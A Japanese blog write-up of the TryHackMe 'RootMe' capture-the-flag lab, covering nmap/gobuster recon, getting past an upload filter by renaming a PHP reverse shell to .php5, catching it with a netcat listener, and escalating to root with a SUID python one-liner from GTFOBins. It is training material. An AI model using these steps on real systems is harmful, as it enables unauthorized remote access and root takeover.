TryHackMe Writeup: RootMe

# はじめに
今回は私がTryHackMeで初めて解いたPractice問題「RootMe(難易度はEasy)」のWriteupを書こうと思います．ちなみに初Writeup執筆なので改善点などありましたがぜひ教えてください．

# Task1：Deploy the machine
これはただマシンを起動させるだけです．今回はVPNを使用します．

# Task2：Reconnaissance

### ポートスキャン
 ```sudo nmap -p- -vv -T4 -O -sV [IPアドレス]```
 
 ![Pasted image 20240221174155.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/831b1b3c-33c5-32ee-2371-05e517ef4903.png)
この結果から空いているポートは(22番と80番)ということがわかります．
それ以外にもそのポートが何のサービスがやバージョンなどもわかります．

### ディレクトリ探索
gobusterを使ってディレクトリ探索をします．
```gobuster dir -u 10.10.42.5 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log```
`dir`でディレクトリ探索，`-u`でURLの指定，`-w`で使用するwordlistのpathを指定します．
念のためlogも出力しときます．
![Pasted image 20240221175425.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/f27a7068-8312-3e41-2365-bd9fc5a72126.png)
いくつかのディレクトリなどが見つかりました．

# Task3：Getting a shell
ここでブラウザから，標的マシンのIPに接続します．
![Pasted image 20240221175850.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/7596d8f8-c9be-24a1-e628-df50c76c536a.png)
なんかかっこいいサイトに繋がりました．
`panel`につないでみます．
![Pasted image 20240221175909.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/9d91819e-6d20-565c-04a0-95b86b209877.png)
フォルダをアップロードする画面見たいですね．
ここでのヒントは`Search for "file upload bypass" and "PHP reverse shell".`となっていたので調べてみます．

`file upload bypass`はフォームを通じて悪意のあるファイルをアップロードして対象サーバで実行する手法？みたいな感じですね．
`PHP reverse shell`は検索するとそれっぽいGithubの[リポジトリ](https://github.com/pentestmonkey/php-reverse-shell)が出てきました．

これをcloneして`php-reverse-shell`をvimで開いて以下のように変更します．
```
$ip = '自分のIPアドレス';
$port = 1234;
```
この時VPN接続している人は`ip a`コマンドで確認してください．
＊`eth`のほうではなく`tun0`の方のIPアドレスです．
ポートは変えなくてもいいんですかね？（変えなくても上手くいきました．）

このPHPファイルを先ほどのフォームからアップロードします．
![Pasted image 20240221181414.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/d52069e0-eb60-0acd-0a74-97d73c7b6f6d.png)
許可がないらしくアップロードできません．
"file upload bypass"について調べた時に拡張子を変えるというのも書かれていたので，`.php`から，`.php5`に変えてみます．
![Pasted image 20240221181626.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/3f6272bf-bf01-cdd2-ad1f-04073fe8b600.png)
成功したようです．

ここでアップロードしたファイルは先ほどのディレクトリ探索の時にも出てきた`/uploads`ディレクトリに格納されています．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/6d0dc99d-7e8b-ff52-5ac7-80c8fce46a8e.png)
＊標的マシンのIPが変わっているのは気にしないでください．私が一度マシンを再起動してIPが変わったからです．

攻撃者端末側で`netcat`コマンドを用いて指定したポートでの通信を待ち受けます
`nc -lnvp 1234`
上記のコマンド実行後，先ほど標的マシンにアップロードした`php-reverse-shell.php5`をクリックすることでPHPスクリプトを実行します．
これにより`nc`コマンドで待ち受けていた攻撃者端末にシェルが取得できるはずです．
＊私はここでなぜか`WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)`というエラーが出て1時間ほど格闘しました．(FWを無効にしたりIPアドレスに間違えがないかなど確認しましたが，原因はわからず最終的にkali linuxがわを再起動したらできました)
![Pasted image 20240222112744.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/a87d7a69-4b1c-c6a4-9481-7784af0623cf.png)

今回のflagはuser.txtにあるのがわかっているのでファイル検索します．
`find -name user.txt`
![Pasted image 20240222112945.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/1bea9b9f-cc4e-1d39-ea43-b30182972739.png)
`/var/www/user.txt`にあることがわかったのでこれを`cat`とかで見ればOKです．

# Task4：Previlege escalation
権限昇格についてです．

### Search for files with SUID permission, which file is weird?
まずそもそもSUIDとはということで、[プログラムを誰が実行しても指定したユーザーの権限によって実行するよう指示するもの。](https://e-words.jp/w/SUID.html)だそうです．
ヒントには`find / -user root -perm /4000`とあったのでとりあえず実行してみます．
ちなみにこのコマンドは，ルートディレクトリから始まり、所有者が"root"ユーザであり、実行可能なセットユーザーID (SetUID) ビットが設定されているファイルを検索するコマンドです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/67c51219-1f5c-10ff-cc59-4ae2a05b079c.png)
上の結果からpythonが怪しそうですね．

### Find a form to escalate your privileges.
ヒントが`Search for gtfobins`なのでとりあえず調べてみます．
[gtfobins](https://gtfobins.github.io/)は権限昇格・リバースシェルの起動などが簡単にできるコマンド集みたいなものですかね？

ここでpythonに関するコマンドを検索してみます．
```python -c 'import os; os.execl("/bin/sh", "sh", "-p")'```
このコマンドを入力します．`whoami`コマンドで確認すると，実行前は`www-data`だったのに対して，実行後は`root`になっています．

後は先ほどと同様に`find -name root.txt`で検索してflagが見つかります．

# おわりに
初めてWriteupを書いてみましたが，自分の復習にもなるのでOUTPUTはやはり大事ですね．
ここまで読んでくれた皆さん，よろしければ改善点などあればコメントいただけると幸いです．
ありがとうございました．